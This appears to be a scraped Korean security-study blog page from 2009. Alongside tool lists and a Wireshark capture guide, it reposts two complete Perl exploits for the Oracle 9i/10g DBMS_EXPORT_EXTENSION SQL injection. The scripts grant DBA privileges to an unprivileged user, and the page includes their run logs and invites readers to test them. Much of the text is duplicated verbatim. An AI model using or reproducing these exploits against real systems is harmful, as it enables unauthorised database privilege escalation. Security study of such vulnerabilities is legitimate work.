'분류 전체보기'에 해당되는 글 239건
- 2009.03.05 eval() - Javascript 코드가 맞는가 틀린가를 검정하고 수행한다
- 2009.03.05 악성스크립트 분석 - 훈형이 분석한거
- 2009.03.05 즐겨 사용하는 유틸리티 모음.
- 2009.03.04 스터디 관련 툴모임
- 2009.03.04 Where can I download a free firewall?
- 2009.03.03 jash
- 2009.03.03 Oracle 9i/10g DBMS_EXPORT_EXTENSION SQL Injection Exploit
- 2009.02.28 스터디 관련 책 구매. 2
- 2009.02.27 Wireshark을 이용한 패킷 캡쳐
어플리케이션/웹일반2009. 3. 5. 20:34
어플리케이션/웹보안2009. 3. 5. 11:41
시스템/윈도우일반2009. 3. 5. 11:35
----------------웹브라우져 관련 ---------------
1. http://www.debugbar.com/download.php
웹 디버깅 특히 태그나 스크립트 찾을 때 편함.
2. http://billyreisinger.com/jash/index.html
자바스크립트 디버깅시에 편함
--------------- 윈도우 관련 --------------------
1. http://www.launchy.net/
퀵 명령어에 사용
2. http://www.cygwin.com/
윈도우+리눅스 쉘
----------------------------------------------
firefox addons
- ie tab : https://addons.mozilla.org/ko/firefox/addon/1419
- aero fox : https://addons.mozilla.org/ko/firefox/addon/6070
- torbutton : https://addons.mozilla.org/ko/firefox/addon/2275
- httpfox : https://addons.mozilla.org/ko/firefox/addon/6647
- add n edit cookies : https://addons.mozilla.org/en-US/firefox/addon/573
gmail notifier
- http://toolbar.google.com/gmail-helper/notifier_windows.html
httpwatch
1. http://www.debugbar.com/download.php
웹 디버깅 특히 태그나 스크립트 찾을 때 편함.
2. http://billyreisinger.com/jash/index.html
자바스크립트 디버깅시에 편함
--------------- 윈도우 관련 --------------------
1. http://www.launchy.net/
퀵 명령어에 사용
2. http://www.cygwin.com/
윈도우+리눅스 쉘
----------------------------------------------
firefox addons
- ie tab : https://addons.mozilla.org/ko/firefox/addon/1419
- aero fox : https://addons.mozilla.org/ko/firefox/addon/6070
- torbutton : https://addons.mozilla.org/ko/firefox/addon/2275
- httpfox : https://addons.mozilla.org/ko/firefox/addon/6647
- add n edit cookies : https://addons.mozilla.org/en-US/firefox/addon/573
gmail notifier
- http://toolbar.google.com/gmail-helper/notifier_windows.html
httpwatch
어플리케이션/웹보안2009. 3. 4. 20:21
네트워크/네트워크보안2009. 3. 4. 10:26
어플리케이션/웹보안2009. 3. 3. 20:53
어플리케이션/데이터베이스보안2009. 3. 3. 11:07
■ 공격용 소스코드 제목
Oracle sql 삽입공격
■ 발표날짜
2007.04.29
■ 해당 시스템
오라클
■ 공격유형
둘다
■ 위험도
중
■ 최초보고자
mailto:bunker at fastwebnet.it
http://rawlab.mindcreations.com/codes/exp/oracle/dbms_exp_ext.pl
■ 문제점
오라클에서 발견된 sql 삽입 취약점은 DBA 의 권한을 획득할 수 있는 공격으로 이어진다.
다음의 코드를 이용하여 테스트해 보시기 바란다.
■ 공격법 / 공격용 소스코드
Oracle DBMS_EXPORT_EXTENSION SQL Injection Vulnerability
#!/usr/bin/perl
#
# Remote Oracle dbms_export_extension exploit (any version)
# Grant or revoke dba permission to unprivileged user
#
# Tested on Oracle 10g - Release 10.2.0.1.0
# Oracle 9i - Release 9.2.0.2.0
#
# REF: http://www.securityfocus.com/bid/17699
#
# AUTHOR: Andrea "bunker" Purificato
# http://rawlab.mindcreations.com
#
# DATE: Copyright 2007 - Sun Feb 4 15:53:04 CET 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
#
use warnings;
use strict;
use DBI;
use DBD::Oracle;
use Getopt::Std;
use vars qw/ %opt /;
sub usage {
print <<"USAGE";
Syntax: $0 -h -s -u -p [-g|-r]
Options:
-h target server address
-s target sid name
-u user
-p password
-g|-r (g)rant dba to user | (r)evoke dba from user
USAGE
exit 0
}
my $opt_string = 'h:s:u:p:v:gr';
getopts($opt_string, %opt) or &usage;
&usage unless ( $opt{h} or $opt{s} or $opt{u} or $opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};
my $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
my $sqlcmd = undef;
$sqlcmd = "GRANT DBA TO $user" if ($opt{g});
$sqlcmd = "REVOKE DBA FROM $user" if ($opt{r});
print "[-] Wait...n";
$dbh->{RaiseError} = 1;
if ( $dbh->do( qq{
CREATE OR REPLACE PACKAGE BUNKERPKG AUTHID CURRENT_USER IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER;
END;
} ) ) {}
elsif ( 6550 != $dbh->err ) { die $dbh->errstr; }
else {
my $msg = $dbh->func( 'plsql_errstr' );
die $dbh->errstr if not defined $msg;
die $msg if $msg;
}
print "[-] Building evil packagen";
if ( $dbh->do(qq{
CREATE OR REPLACE PACKAGE BODY BUNKERPKG IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE '$sqlcmd';
COMMIT;
RETURN(1);
END;
END;
} ) ) {}
elsif ( 6550 != $dbh->err ) { die $dbh->errstr; }
else {
my $msg = $dbh->func( 'plsql_errstr' );
die $dbh->errstr if not defined $msg;
die $msg if $msg;
}
print "[-] Finishing evil packagen";
if ( $dbh->do (qq{
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1';
INDEX_SCHEMA := '$user';
TYPE_NAME := 'BUNKERPKG';
TYPE_SCHEMA := '$user';
VERSION := '';
GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME
-> TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
NEWBLOCK, GMFLAGS => GMFLAGS
);
END;
} ) ) {}
elsif ( 6550 != $dbh->err ) { die $dbh->errstr; }
else {
my $msg = $dbh->func( 'plsql_errstr' );
die $dbh->errstr if not defined $msg;
die $msg if $msg;
}
print "[-] YOU GOT THE POWAH!!n";
exit;
========================================================
■ 공격용 소스코드 제목
Oracle 9i/10g sql 인젝션
■ 발표날짜
2007.03.07
■ 해당 시스템
9i/10g
■ 공격유형
둘다
■ 위험도
중
■ 최초보고자
http://www.milw0rm.com/exploits/3401
■ 문제점
Oracle 9i/10g DBMS_EXPORT_EXTENSION SQL Injection Exploit
오라클 확장자인 dbms_export_extension 에서 sql 인젝션 공격이 발견되어 주의를 요하고 있다.
■ 공격법 / 공격용 소스코드
#!/usr/bin/perl
#
# Remote Oracle dbms_export_extension exploit (any version)
# - Version 2 - New "evil cursor injection" tip!
# - No "create procedure" privilege needed!
# - See: http://www.databasesecurity.com/ (Cursor Injection)
#
# Grant or revoke dba permission to unprivileged user
#
# Tested on Oracle 10g - Release 10.2.0.1.0
# Oracle 9i - Release 9.2.0.2.0
#
# REF: http://www.securityfocus.com/bid/17699
#
# AUTHOR: Andrea "bunker" Purificato
# http://rawlab.mindcreations.com
#
# DATE: Copyright 2007 - Sat Mar 3 13:06:36 CET 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
#
#
# bunker@syn:~/orasploit$ perl dbms_exp_extV2.pl -h localhost -s test -u bunker -p **** -r
# [-] Wait...
# [-] Revoking DBA from BUNKER...
# DBD::Oracle::db do failed: ORA-01951: ROLE 'DBA' not granted to 'BUNKER' (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at dbms_exp_extV2.pl line 70.
# DBD::Oracle::db do failed: ORA-01951: ROLE 'DBA' not granted to 'BUNKER' (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at dbms_exp_extV2.pl line 70.
#
# bunker@syn:~/orasploit$ perl dbms_exp_extV2.pl -h localhost -s test -u bunker -p **** -g
# [-] Wait...
# [1] Creating evil cursor...
# Cursor: 2
# [2] Creating evil cursor...
# Cursor: 4
# [-] Go!
# [-] YOU GOT THE POWAH!!
#
# bunker@syn:~/orasploit$ perl dbms_exp_extV2.pl -h localhost -s test -u bunker -p **** -r
# [-] Wait...
# [-] Revoking DBA from BUNKER...
# [-] Done!
#
use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;
sub usage {
print <<"USAGE";
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
Options:
-h <host> target server address
-s <sid> target sid name
-u <user> user
-p <passwd> password
-g|-r (g)rant dba to user | (r)evoke dba from user
[-P <port> Oracle port]
USAGE
exit 0
}
my $opt_string = 'h:s:u:p:grP:';
getopts($opt_string, %opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};
my $dbh = undef;
if ($opt{P}) {
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
} else {
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
}
my $sqlcmd = "GRANT ALL PRIVILEGE, DBA TO $user";
print "[-] Wait...n";
$dbh->{RaiseError} = 1;
$dbh->func( 1000000, 'dbms_output_enable' );
if ($opt{r}) {
print "[-] Revoking DBA from $user...n";
$sqlcmd = "REVOKE DBA FROM $user";
$dbh->do( $sqlcmd );
print "[-] Done!n";
$dbh->disconnect;
exit;
}
print "[1] Creating evil cursor...n";
my $sth = $dbh->prepare(qq{
DECLARE
MYC_PKG_1 NUMBER;
BEGIN
MYC_PKG_1 := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC_PKG_1,
'CREATE OR REPLACE PACKAGE BUNKERPKG AUTHID CURRENT_USER IS
FUNCTION ODCIIndexGetMetadata (a SYS.odciindexinfo, b VARCHAR2,
c VARCHAR2, d SYS.odcienv) RETURN NUMBER; END;',0);
DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC_PKG_1);
END;
} );
$sth->execute;
my $cursor = undef;
while (my $line = $dbh->func( 'dbms_output_get' )) {
print "$linen";
if ($line =~ /^Cursor: (d)/) {$cursor = $1;}
}
$sth->finish;
$dbh->do(qq{
declare
ret NUMBER;
begin
ret := sys.dbms_sql.execute($cursor);
end;
});
print "[2] Creating evil cursor...n";
$sth = $dbh->prepare(qq{
DECLARE
MYC_PKG_2 NUMBER;
BEGIN
MYC_PKG_2 := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC_PKG_2,
'CREATE OR REPLACE PACKAGE BODY BUNKERPKG IS
FUNCTION ODCIIndexGetMetadata (a SYS.odciindexinfo, b VARCHAR2,
c VARCHAR2, d SYS.odcienv) RETURN NUMBER IS
PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''$sqlcmd'';
COMMIT; RETURN(1); END;END;',0);
DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC_PKG_2);
END;
} );
$sth->execute;
$cursor = undef;
while (my $line = $dbh->func( 'dbms_output_get' )) {
print "$linen";
if ($line =~ /^Cursor: (d)/) {$cursor = $1;}
}
$sth->finish;
$dbh->do(qq{
declare
ret NUMBER;
begin
ret := sys.dbms_sql.execute($cursor);
end;
});
print "[-] Go!n";
$dbh->do(qq{
DECLARE
PLS PLS_INTEGER;
RET VARCHAR2(200);
BEGIN
RET := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA('A','$user','BUNKERPKG','$user','',PLS,0);
END;
} );
print "[-] YOU GOT THE POWAH!!n";
$dbh->disconnect;
exit;
Oracle sql 삽입공격
■ 발표날짜
2007.04.29
■ 해당 시스템
오라클
■ 공격유형
둘다
■ 위험도
중
■ 최초보고자
mailto:bunker at fastwebnet.it
http://rawlab.mindcreations.com/codes/exp/oracle/dbms_exp_ext.pl
■ 문제점
오라클에서 발견된 sql 삽입 취약점은 DBA 의 권한을 획득할 수 있는 공격으로 이어진다.
다음의 코드를 이용하여 테스트해 보시기 바란다.
■ 공격법 / 공격용 소스코드
Oracle DBMS_EXPORT_EXTENSION SQL Injection Vulnerability
#!/usr/bin/perl
#
# Remote Oracle dbms_export_extension exploit (any version)
# Grant or revoke dba permission to unprivileged user
#
# Tested on Oracle 10g - Release 10.2.0.1.0
# Oracle 9i - Release 9.2.0.2.0
#
# REF: http://www.securityfocus.com/bid/17699
#
# AUTHOR: Andrea "bunker" Purificato
# http://rawlab.mindcreations.com
#
# DATE: Copyright 2007 - Sun Feb 4 15:53:04 CET 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
#
use warnings;
use strict;
use DBI;
use DBD::Oracle;
use Getopt::Std;
use vars qw/ %opt /;
sub usage {
print <<"USAGE";
Syntax: $0 -h -s -u -p [-g|-r]
Options:
-h target server address
-s target sid name
-u user
-p password
-g|-r (g)rant dba to user | (r)evoke dba from user
USAGE
exit 0
}
my $opt_string = 'h:s:u:p:v:gr';
getopts($opt_string, %opt) or &usage;
&usage unless ( $opt{h} or $opt{s} or $opt{u} or $opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};
my $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
my $sqlcmd = undef;
$sqlcmd = "GRANT DBA TO $user" if ($opt{g});
$sqlcmd = "REVOKE DBA FROM $user" if ($opt{r});
print "[-] Wait...n";
$dbh->{RaiseError} = 1;
if ( $dbh->do( qq{
CREATE OR REPLACE PACKAGE BUNKERPKG AUTHID CURRENT_USER IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER;
END;
} ) ) {}
elsif ( 6550 != $dbh->err ) { die $dbh->errstr; }
else {
my $msg = $dbh->func( 'plsql_errstr' );
die $dbh->errstr if not defined $msg;
die $msg if $msg;
}
print "[-] Building evil packagen";
if ( $dbh->do(qq{
CREATE OR REPLACE PACKAGE BODY BUNKERPKG IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE '$sqlcmd';
COMMIT;
RETURN(1);
END;
END;
} ) ) {}
elsif ( 6550 != $dbh->err ) { die $dbh->errstr; }
else {
my $msg = $dbh->func( 'plsql_errstr' );
die $dbh->errstr if not defined $msg;
die $msg if $msg;
}
print "[-] Finishing evil packagen";
if ( $dbh->do (qq{
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1';
INDEX_SCHEMA := '$user';
TYPE_NAME := 'BUNKERPKG';
TYPE_SCHEMA := '$user';
VERSION := '';
GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME
-> TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
NEWBLOCK, GMFLAGS => GMFLAGS
);
END;
} ) ) {}
elsif ( 6550 != $dbh->err ) { die $dbh->errstr; }
else {
my $msg = $dbh->func( 'plsql_errstr' );
die $dbh->errstr if not defined $msg;
die $msg if $msg;
}
print "[-] YOU GOT THE POWAH!!n";
exit;
========================================================
■ 공격용 소스코드 제목
Oracle 9i/10g sql 인젝션
■ 발표날짜
2007.03.07
■ 해당 시스템
9i/10g
■ 공격유형
둘다
■ 위험도
중
■ 최초보고자
http://www.milw0rm.com/exploits/3401
■ 문제점
Oracle 9i/10g DBMS_EXPORT_EXTENSION SQL Injection Exploit
오라클 확장자인 dbms_export_extension 에서 sql 인젝션 공격이 발견되어 주의를 요하고 있다.
■ 공격법 / 공격용 소스코드
#!/usr/bin/perl
#
# Remote Oracle dbms_export_extension exploit (any version)
# - Version 2 - New "evil cursor injection" tip!
# - No "create procedure" privilege needed!
# - See: http://www.databasesecurity.com/ (Cursor Injection)
#
# Grant or revoke dba permission to unprivileged user
#
# Tested on Oracle 10g - Release 10.2.0.1.0
# Oracle 9i - Release 9.2.0.2.0
#
# REF: http://www.securityfocus.com/bid/17699
#
# AUTHOR: Andrea "bunker" Purificato
# http://rawlab.mindcreations.com
#
# DATE: Copyright 2007 - Sat Mar 3 13:06:36 CET 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
#
#
# bunker@syn:~/orasploit$ perl dbms_exp_extV2.pl -h localhost -s test -u bunker -p **** -r
# [-] Wait...
# [-] Revoking DBA from BUNKER...
# DBD::Oracle::db do failed: ORA-01951: ROLE 'DBA' not granted to 'BUNKER' (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at dbms_exp_extV2.pl line 70.
# DBD::Oracle::db do failed: ORA-01951: ROLE 'DBA' not granted to 'BUNKER' (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at dbms_exp_extV2.pl line 70.
#
# bunker@syn:~/orasploit$ perl dbms_exp_extV2.pl -h localhost -s test -u bunker -p **** -g
# [-] Wait...
# [1] Creating evil cursor...
# Cursor: 2
# [2] Creating evil cursor...
# Cursor: 4
# [-] Go!
# [-] YOU GOT THE POWAH!!
#
# bunker@syn:~/orasploit$ perl dbms_exp_extV2.pl -h localhost -s test -u bunker -p **** -r
# [-] Wait...
# [-] Revoking DBA from BUNKER...
# [-] Done!
#
use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;
sub usage {
print <<"USAGE";
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
Options:
-h <host> target server address
-s <sid> target sid name
-u <user> user
-p <passwd> password
-g|-r (g)rant dba to user | (r)evoke dba from user
[-P <port> Oracle port]
USAGE
exit 0
}
my $opt_string = 'h:s:u:p:grP:';
getopts($opt_string, %opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};
my $dbh = undef;
if ($opt{P}) {
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
} else {
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
}
my $sqlcmd = "GRANT ALL PRIVILEGE, DBA TO $user";
print "[-] Wait...n";
$dbh->{RaiseError} = 1;
$dbh->func( 1000000, 'dbms_output_enable' );
if ($opt{r}) {
print "[-] Revoking DBA from $user...n";
$sqlcmd = "REVOKE DBA FROM $user";
$dbh->do( $sqlcmd );
print "[-] Done!n";
$dbh->disconnect;
exit;
}
print "[1] Creating evil cursor...n";
my $sth = $dbh->prepare(qq{
DECLARE
MYC_PKG_1 NUMBER;
BEGIN
MYC_PKG_1 := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC_PKG_1,
'CREATE OR REPLACE PACKAGE BUNKERPKG AUTHID CURRENT_USER IS
FUNCTION ODCIIndexGetMetadata (a SYS.odciindexinfo, b VARCHAR2,
c VARCHAR2, d SYS.odcienv) RETURN NUMBER; END;',0);
DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC_PKG_1);
END;
} );
$sth->execute;
my $cursor = undef;
while (my $line = $dbh->func( 'dbms_output_get' )) {
print "$linen";
if ($line =~ /^Cursor: (d)/) {$cursor = $1;}
}
$sth->finish;
$dbh->do(qq{
declare
ret NUMBER;
begin
ret := sys.dbms_sql.execute($cursor);
end;
});
print "[2] Creating evil cursor...n";
$sth = $dbh->prepare(qq{
DECLARE
MYC_PKG_2 NUMBER;
BEGIN
MYC_PKG_2 := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC_PKG_2,
'CREATE OR REPLACE PACKAGE BODY BUNKERPKG IS
FUNCTION ODCIIndexGetMetadata (a SYS.odciindexinfo, b VARCHAR2,
c VARCHAR2, d SYS.odcienv) RETURN NUMBER IS
PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''$sqlcmd'';
COMMIT; RETURN(1); END;END;',0);
DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC_PKG_2);
END;
} );
$sth->execute;
$cursor = undef;
while (my $line = $dbh->func( 'dbms_output_get' )) {
print "$linen";
if ($line =~ /^Cursor: (d)/) {$cursor = $1;}
}
$sth->finish;
$dbh->do(qq{
declare
ret NUMBER;
begin
ret := sys.dbms_sql.execute($cursor);
end;
});
print "[-] Go!n";
$dbh->do(qq{
DECLARE
PLS PLS_INTEGER;
RET VARCHAR2(200);
BEGIN
RET := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA('A','$user','BUNKERPKG','$user','',PLS,0);
END;
} );
print "[-] YOU GOT THE POWAH!!n";
$dbh->disconnect;
exit;
어플리케이션/웹보안2009. 2. 28. 17:53
http://kangcom.com/sub/view.asp?topid=1&sku=200811080005
2달 동안 스터디 자료로 사용할 자료+ A
// 책 소개 //
// 목차 //
2달 동안 스터디 자료로 사용할 자료+ A
// 책 소개 //
// 목차 //
네트워크/네트워크일반2009. 2. 27. 14:52
김상재 선생님 줄거(허접하게 만들지 않으려 했는데 쓰다보니 귀찮아서 후딱 적어 버림)
1. 아래의 링크에서 최신버전을 다운로드 합니다. 글 작성 시점을 기준으로 하였을 때의 최신버전을 함께 링크 합니다.
클릭하시면 현재 시스템 논리적/물리적으로 설치된 랜인터페이스를 확인하실 수 있습니다.
패킷을 캡쳐하고자 하는 인터페이스(192.168.0.90)를 확인하시고 "start"버튼을 클릭합니다.
시간이 경과할 수록 많은 패킷들이 잡히는 것을 확인하실 수 있습니다.
아래는 실재 영남사이버대학교의 로그인 과정에서 발생하는 암호화를 캡쳐한 그림입니다.
궁금하신 사항있으면 또 연락 주시기 바랍니다.
1. 아래의 링크에서 최신버전을 다운로드 합니다. 글 작성 시점을 기준으로 하였을 때의 최신버전을 함께 링크 합니다.
- http://www.wireshark.org/download.html
- http://media-2.cacetech.com/wireshark/win32/wireshark-setup-1.0.6.exe
- http://media-2.cacetech.com/wireshark/win32/wireshark-setup-1.0.6.exe
2. 설치를 완료하시면 실행하시면 아래와 같은 화면을 확인하실 수 있으며, 다음과 같은 순서로 패킷을 캡쳐 하도록 하겠습니다.
클릭하시면 현재 시스템 논리적/물리적으로 설치된 랜인터페이스를 확인하실 수 있습니다.
패킷을 캡쳐하고자 하는 인터페이스(192.168.0.90)를 확인하시고 "start"버튼을 클릭합니다.
시간이 경과할 수록 많은 패킷들이 잡히는 것을 확인하실 수 있습니다.
아래는 실재 영남사이버대학교의 로그인 과정에서 발생하는 암호화를 캡쳐한 그림입니다.
궁금하신 사항있으면 또 연락 주시기 바랍니다.